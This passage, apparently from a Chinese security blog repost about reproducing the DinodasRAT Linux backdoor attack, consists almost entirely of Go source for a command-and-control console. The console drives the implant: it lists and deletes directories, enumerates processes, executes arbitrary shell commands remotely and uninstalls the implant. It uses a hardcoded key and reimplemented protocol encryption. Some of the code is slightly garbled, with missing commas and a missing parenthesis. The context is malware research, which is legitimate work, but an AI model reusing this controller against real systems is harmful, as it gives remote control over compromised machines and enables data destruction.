     fmt.Println("*******************DirClass:" + buf_DirClass + "*******************")
     fmt.Println(string(EncData))
    }
   } else if text == "DelDir" {
    fmt.Print(text + "指令-请输入需删除的目录路径:n>")
    reader2 := bufio.NewScanner(os.Stdin)
    if reader2.Scan() {
     buf_DelDir := reader2.Text()
     sendbuf := []byte{}
     sendbuf = append(sendbuf, common.IntToBytes_little(3)...)
     sendbuf = append(sendbuf, byte(0))
     sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_DelDir))...)
     sendbuf = append(sendbuf, []byte(buf_DelDir)...)
     common.Sendbuf(conn, sendbuf)
     EncData := <-encdata
     if bytes.Equal(EncData, []byte{0x31}) {
      fmt.Println("*******************DelDir:" + buf_DelDir + "*******************")
      fmt.Println("DelDir ok")
     }
    }
   } else if text == "EnumProcess" {
    buf_EnumProcess := ""
    sendbuf := []byte{}
    sendbuf = append(sendbuf, common.IntToBytes_little(0x11)...)
    sendbuf = append(sendbuf, byte(0))
    sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_EnumProcess))...)
    sendbuf = append(sendbuf, []byte(buf_EnumProcess)...)
    common.Sendbuf(conn, sendbuf)
    EncData := <-encdata
    fmt.Println("*******************EnumProcess:" + buf_EnumProcess + "*******************")
    fmt.Println(string(EncData))
   } else if text == "DealExShell" {
    fmt.Print(text + "指令-请输入需执行的shell命令:n>")
    reader2 := bufio.NewScanner(os.Stdin)
    if reader2.Scan() {
     buf_DealExShell := reader2.Text()
     sendbuf := []byte{}
     sendbuf = append(sendbuf, common.IntToBytes_little(0x18)...)
     sendbuf = append(sendbuf, byte(0))
     sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_DealExShell))...)
     sendbuf = append(sendbuf, []byte(buf_DealExShell)...)
     common.Sendbuf(conn, sendbuf)
     EncData := <-encdata
     fmt.Println("*******************DealExShell:" + buf_DealExShell + "*******************")
     fmt.Println(string(EncData))
    }
   } else if text == "UninstallMm" {
    buf_UninstallMm := ""
    sendbuf := []byte{}
    sendbuf = append(sendbuf, common.IntToBytes_little(0x2e)...)
    sendbuf = append(sendbuf, byte(0))
    sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_UninstallMm))...)
    sendbuf = append(sendbuf, []byte(buf_UninstallMm)...)
    common.Sendbuf(conn, sendbuf)
    EncData := <-encdata
    if bytes.Equal(EncData, []byte{0x31}) {
     fmt.Println("*******************UninstallMm:" + buf_UninstallMm + "*******************")
     fmt.Println("UninstallMm ok")
     os.Exit(0)
    }
   } else if text == "help" {
    fmt.Println("********支持功能如下********")
    fmt.Println("DirClass:查看目录")
    fmt.Println("DelDir:删除目录")
    fmt.Println("EnumProcess:查看进程")
    fmt.Println("DealExShell:执行shell命令")
    fmt.Println("UninstallMm:卸载自身")
    fmt.Println("**************************")
   }
  }
 }
}

func KeepHeart_Recv(conn net.Conn, encdata chan []byte) {
 for {
  recvbuf, err := common.RecvBuf(conn)
  if err != nil {
   continue
  }
  //fmt.Println(hex.EncodeToString(recvbuf))
  key, _ := hex.DecodeString("A101A8EAC010FB120671F318ACA061AF"//tcp
  if recvbuf[0] == 0x30 {
   dec_data_len := common.BytesToInt_Little(recvbuf[1:5])
   if dec_data_len == len(recvbuf[5:]) {
    plain_uint32 := common.BytesToUint32Slice(recvbuf[5:])
    key_uint32 := common.BytesToUint32Slice(key)

    //fmt.Println(hex.EncodeToString(recvbuf))
    dec_data := common.Decrypt_out(plain_uint32, len(plain_uint32)*4, key_uint32)
    //fmt.Println(hex.EncodeToString(dec_data))
    padding := int(2 + dec_data[0]&0x7)
    Command := common.BytesToInt_Little(dec_data[1+padding : 5+padding])
    DeviceIDBuf_Len := common.BytesToInt_Little(dec_data[6+padding : 10+padding])
    CommandBuf_Len := common.BytesToInt_Little(dec_data[10+padding : 14+padding])
    //DeviceIDBuf := dec_data[14+padding : 14+padding+DeviceIDBuf_Len]
    CommandBuf := dec_data[14+padding+DeviceIDBuf_Len : 14+padding+DeviceIDBuf_Len+CommandBuf_Len]
    //fmt.Println(string(DeviceIDBuf))
    //fmt.Println(string(CommandBuf))
    switch Command {
    case 0x01:
     //Heart packet
     continue
    case 02:
     //DirClass
     encdata <- CommandBuf
    case 0x04:
     //DelDir
     encdata <- CommandBuf
    case 0x11:
     //EnumProcess
     encdata <- CommandBuf
    case 0x18:
     //DealExShell
     encdata <- CommandBuf
    case 0x2e:
     //UninstallMm
     encdata <- CommandBuf
    default:
     fmt.Println(string(CommandBuf))
     fmt.Println(hex.EncodeToString(dec_data))
     continue
    }
   }
  }
 }
}
  • common.go
package common

import (
 "bytes"
 "encoding/binary"
 "encoding/hex"
 "fmt"
 "net"
)

func Sendbuf(conn net.Conn, buf []byte) {
 sendbuf := []byte{}
 key, _ := hex.DecodeString("A101A8EAC010FB120671F318ACA061AF")
 output := Qq_encrypt(buf, len(buf), key)
 sendbuf = append(sendbuf, IntToBytes_little(len(output))...)
 sendbuf = append(sendbuf, output...)
 conn.Write(sendbuf)
}

func RecvBuf(conn net.Conn) (buf_recv []byte, err error) {
 buffer1 := make([]byte5)
 bytesRead, err := conn.Read(buffer1)
 if err != nil {
  return nil, err
 }
 buf_recv = append(buf_recv, buffer1[:bytesRead]...)

 if buf_recv[0] == byte(0x30) {
  buflen := BytesToInt_Little(buf_recv[1:5])
  buffer2 := make([]byte, buflen)
  bytesRead, err = conn.Read(buffer2)
  if err != nil {
   fmt.Println("Error reading:", err.Error())
  }
  buf_recv = append(buf_recv, buffer2[:bytesRead]...)
 }
 return
}

func BytesToInt_Little(bys []byte) int {
 bytebuff := bytes.NewBuffer(bys)
 var data int32
 binary.Read(bytebuff, binary.LittleEndian, &data)
 return int(data)
}

func IntToBytes_little(n int) []byte {
 data := int32(n)
 bytebuf := bytes.NewBuffer([]byte{})
 binary.Write(bytebuf, binary.LittleEndian, data)
 return bytebuf.Bytes()
}
  • dinodasrat_de.go
package common

import (
 "encoding/binary"
 "fmt"
)

func qq_decipher(input []uint32, key []uint32) (result uint32, output []uint32) {
 sum := uint32(0xE3779B90)
 delta := uint32(0x9E3779B9)
 y := input[0]
 z := input[1]

 a := key[0]
 b := key[1]
 c := key[2]
 d := key[3]

 for i := 0; i < 0x10; i++ {
  z -= ((y << 4) + c) ^ (y + sum) ^ ((y >> 5) + d)
  y -= ((z << 4) + a) ^ (z + sum) ^ ((z >> 5) + b)
  sum -= delta
 }
 output = append(output, y)
 output = append(output, z)
 return
}

func BytesToUint32Slice(data []byte) []uint32 {
 if len(data)%4 != 0 {
  fmt.Println("error")
 }

 numUint32 := len(data) / 4
 uint32Slice := make([]uint32, numUint32)

 for i := 0; i < numUint32; i++ {
  uint32Value := binary.BigEndian.Uint32(data[i*4 : (i+1)*4])
  uint32Slice[i] = uint32Value
 }

 return uint32Slice
}

func uint32SliceToBytes(data []uint32) []byte {
 totalBytes := len(data) * 4

 byteSlice := make([]byte, totalBytes)

 for i := 0; i < len(data); i++ {
  binary.BigEndian.PutUint32(byteSlice[i*4:(i+1)*4], data[i])
 }

 return byteSlice
}

func Decrypt_out(enc_data []uint32, enc_data_len int, key []uint32) (output []byte) {
 crypted32 := []uint32{0x000x00}
 c32_prev := []uint32{0x000x00}
 plain32 := []uint32{0x000x00}
 p32_prev := []uint32{0x000x00}

 pos := 0
 crypted32[0] = enc_data[pos]
 crypted32[1] = enc_data[pos+1]
 pos += 2

 c32_prev[0] = crypted32[0]
 c32_prev[1] = crypted32[1]

 _, p32_prev = qq_decipher(crypted32, key)
 output = append(output, uint32SliceToBytes(p32_prev)...)

 padding := 2 + output[0]&0x7
 if padding < 2 {
  padding += 8
 }
 plain_len := enc_data_len - 1 - int(padding) - 7
 if plain_len < 0 {
  return
 }
 count64 := enc_data_len / 8
 for {
  count64 = count64 - 1
  if count64 <= 0 {
   break
  }
  c32_prev[0] = crypted32[0]
  c32_prev[1] = crypted32[1]

  crypted32[0] = enc_data[pos]
  crypted32[1] = enc_data[pos+1]
  pos += 2

  p32_prev[0] = p32_prev[0] ^ crypted32[0]
  p32_prev[1] = p32_prev[1] ^ crypted32[1]

  _, p32_prev = qq_decipher(p32_prev, key)

  plain32[0] = p32_prev[0] ^ c32_prev[0]
  plain32[1] = p32_prev[1] ^ c32_prev[1]
        
  output = append(output, uint32SliceToBytes(plain32)...)
 }
 return
}
  • dinodasrat_en.go
package common

import (
 "crypto/rand"
 "math/big"
)

func qq_encipher(input []uint32, key []uint32) (output []uint32) {
 sum := uint32(0)
 delta := uint32(0x9E3779B9)
 y := input[0]
 z := input[1]

 a := key[0]
 b := key[1]
 c := key[2]
 d := key[3]

 for i := 0; i < 0x10; i++ {
  sum += delta
  y += ((z << 4) + a) ^ (z + sum) ^ ((z >> 5) + b)
  z += ((y << 4) + c) ^ (y + sum) ^ ((y >> 5) + d)
 }
 output = append(output, y)
 output = append(output, z)
 return
}

func encrypt_out(dec_data []uint32, dec_data_len int, key []uint32) (output []byte) {
 plain32 := []uint32{0x000x00}
 p32_prev := []uint32{0x000x00}
 crypted32 := []uint32{0x000x00}
 c32_prev := []uint32{0x000x00}

 pos := 0
 crypted32[0] = dec_data[pos]
 crypted32[1] = dec_data[pos+1]
 pos += 2

 c32_prev[0] = crypted32[0]
 c32_prev[1] = crypted32[1]

 plain32[0] = crypted32[0] ^ p32_prev[0]
 plain32[1] = crypted32[1] ^ p32_prev[1]

 count64 := dec_data_len / 8
 for {
  crypted32 = qq_encipher(plain32, key)

  crypted32[0] = crypted32[0] ^ p32_prev[0]
  crypted32[1] = crypted32[1] ^ p32_prev[1]
  output = append(output, uint32SliceToBytes(crypted32)...)

  p32_prev[0] = plain32[0]
  p32_prev[1] = plain32[1]

  c32_prev[0] = crypted32[0]
  c32_prev[1] = crypted32[1]

  if count64 > 1 {
   crypted32[0] = dec_data[pos]
   crypted32[1] = dec_data[pos+1]
   pos += 2
   plain32[0] = crypted32[0] ^ c32_prev[0]
   plain32[1] = crypted32[1] ^ c32_prev[1]
  }
  count64 = count64 - 1
  if count64 <= 0 {
   break
  }
 }
 return
}

func Qq_encrypt(plain []byte, plain_len int, key []byte) (output []byte) {
 crypted := []byte{}
 padding := (plain_len + 10) % 8
 if padding > 0 {
  padding = 8 - padding
 }
 randomBytes := make([]byte20)
 rand.Read(randomBytes)
 randombyte := randomBytes[0]
 crypted = append(crypted, ((randombyte & 0xf8) | byte(padding)))
 padding += 2

 for {
  padding -= 1
  if padding < 0 {
   break
  }
  randomnum, _ := rand.Int(rand.Reader, big.NewInt(20))
  crypted = append(crypted, (randomBytes[int(randomnum.Int64())] & 0xff))
 }
 crypted = append(crypted, plain...)
 crypted = append(crypted, []byte{0x000x000x000x000x000x000x00}...)

 crypted_uint32 := BytesToUint32Slice(crypted)
 key_uint32 := BytesToUint32Slice(key)
 output = encrypt_out(crypted_uint32, len(crypted_uint32)*4, key_uint32)
 return
}


原文始发于微信公众号(T0daySeeker):以中国为目标的DinodasRAT Linux后门攻击场景复现

版权声明:admin 发表于 2024年5月7日 下午5:45。
转载请注明:以中国为目标的DinodasRAT Linux后门攻击场景复现 | CTF导航

相关文章